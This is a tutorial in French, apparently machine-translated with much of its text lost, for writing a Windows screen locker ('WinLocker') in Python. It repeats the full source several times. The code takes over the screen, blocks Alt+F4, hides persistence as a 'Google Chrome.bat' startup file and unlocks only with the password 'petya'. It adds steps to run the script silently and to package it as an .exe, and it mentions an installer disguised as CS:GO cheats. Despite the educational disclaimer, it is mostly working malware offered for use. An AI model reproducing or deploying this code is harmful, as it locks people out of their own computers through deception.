Ecrire WinLocker en Python

Attention!

Cet article a été créé à des fins éducatives ! L'auteur n'est pas responsable de vos actions illégales et des dommages causés à votre ordinateur. N'oubliez pas que ce n'est pas un jouet, c'est un WINLOCKER ! L'auteur déconseille fortement d' exécuter le programme décrit dans cet article sans lire le code en détail .






introduction

Et bonjour tout le monde, les gars, je suis avec vous, avertissement de joueur. Que pensez-vous que j'ai fait 2 jours de suite? Non, je n'ai pas joué à Dota (et je ne vous le conseille pas, puisque vous vous appelez programmeurs). Je préparais du matériel pour Habr. Ou plutôt, il a créé un vinlocker. Et non, je ne l'ai pas communiqué , je l'ai volé à quelqu'un, mais je l'ai moi-même créé à partir de zéro. Et aujourd'hui, je vais vous apprendre à le créer. Et oui, si vous n'avez pas lu la clause de non-responsabilité, n'utilisez en aucun cas ce code au détriment des autres! D'accord, sans plus tarder, c'est parti!





De quoi avons nous besoin?

Pour créer un winlocker, nous avons besoin de:





  1. Python lui-même, que vous pouvez installer sur le site officiel





  2. Un éditeur de texte, dans mon cas ce sera S ***** e Text, censure pour que la modération ne la considère pas comme un PR (en fait, vous pouvez l'écrire même dans un simple bloc-notes)





  3. Accès Internet pour installer les modules requis dans PyPI





  4. Ordinateur Windows





  5. Au moins quelques connaissances de base de Python





  6. Bras droits





  7. Thé au lait, ou au moins café





Passons à l'écriture

Eh bien, puisque nous nous sommes assurés d'avoir tout ce dont nous avons besoin, nous pouvons maintenant commencer à écrire du code.





Créez un fichier main.py dans n'importe quel répertoire





Après cela, ouvrez-le dans n'importe quel éditeur.





Et nous commençons à écrire notre code magique ...





Installer et importer des modules

Oh ouais ... j'ai presque oublié. Nous devons toujours ouvrir la ligne de commande (entrez Win + R et écrivez cmd





et nous arrivons à la ligne de commande ...





nous y introduisons pip install getpass3







Et nous avons une installation





pip install pyautogui



pip install playsound







, :





#   ,   
from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep
      
      



,





USER_NAME = getpass.getuser()
      
      



USER_NAME



, User.





,





window = Tk() #   window  ,      Tk()
window.title("WinLocker by GDisclaimer") #    WinLocker by GDisclaimer
window.geometry('400x250') #     ,    ,     400  250 
window['bg'] = 'black' #     

window.mainloop() #    ,        
      
      



, , :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

window.mainloop()
      
      



,

. , , . :





cd "C:\Your\Path\To\The\Main\Py\File"
      
      



C:/myFiles.





cd "C:\myFiles"
      
      



:





python main.py
      
      



.





! ....





.





, . . 1920x1080 . 1366x768. -





, .





, , .





. window.mainloop()







# Base size
normal_width = 1920 #    
normal_height = 1080 #    

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))
      
      



- :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

window.mainloop()
      
      



. ,





- , - . .





#  ,    
def play(test):
        playsound('sound.mp3', False)
#     
def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)
#         Alt + F4
def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()
#   ,      ,      
def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)
#      
def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()
      
      



, . - . ! . - .





, play(test)



. ! sound.mp3. .





.





: http://www.mediafire.com/file/ouuwbnw48l415xd/sound.mp3/file





. sound.mp3,





. ! ?





...





(-, ):





add_to_startup("C:\\myFiles\\main.py") #     
fullscreen() #  ,        ,      

#  
txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text=',  :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='    . ,       !', font=("Arial Bold", fontsize), fg='white', bg='black')

#   .grid,     
txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

#     
txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)

#       ,       clicked()
txt = Entry(window)  
btn = Button(window, text=" ", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

#    
play('sound.mp3')
      
      



! ALT + F4





, : petya







. :





, :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

def play(test):
        playsound('sound.mp3', False)

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()

add_to_startup("C:\\myFiles\\main.py")
fullscreen()

txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text=',  :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='    . ,       !', font=("Arial Bold", fontsize), fg='white', bg='black')

txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)


txt = Entry(window)  
btn = Button(window, text=" ", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

play('sound.mp3')

window.mainloop()
      
      



Alt + F4

, .





. window.mainloop()



block()







.





: petya







. , . . main.py w, main.pyw





! , :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

def play(test):
        playsound('sound.mp3', False)

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()

add_to_startup("C:\\myFiles\\main.py")
fullscreen()

txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text=',  :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='    . ,       !', font=("Arial Bold", fontsize), fg='white', bg='black')

txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)


txt = Entry(window)  
btn = Button(window, text=" ", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

block()

play('sound.mp3')

window.mainloop()
      
      



.EXE

Vous pouvez également compiler tout le code dans une extension .exe à l'aide de pyinstaller . Je suis un auteur très gentil, et j'ai décidé de vous lancer un installateur déguisé en astuces pour CS: GO, vous pouvez troller un ami avec cela, mais promettez que vous ne ferez pas d'attaques avec ce winlocker, et aussi lorsque vous rirez un peu, assurez-vous de dire le mot de passe du winlocker: )






Installateur Winlocker






Conclusion

En conclusion, je tiens à dire aux sceptiques: vous pouvez créer des virus n'importe où. Même dans le même PHP ...





Alors merci à tous d'avoir lu mon article, et merci pour la modération, au cas où mon article arriverait sur le fil.





Bonne chance à tous et bonne journée!








All Articles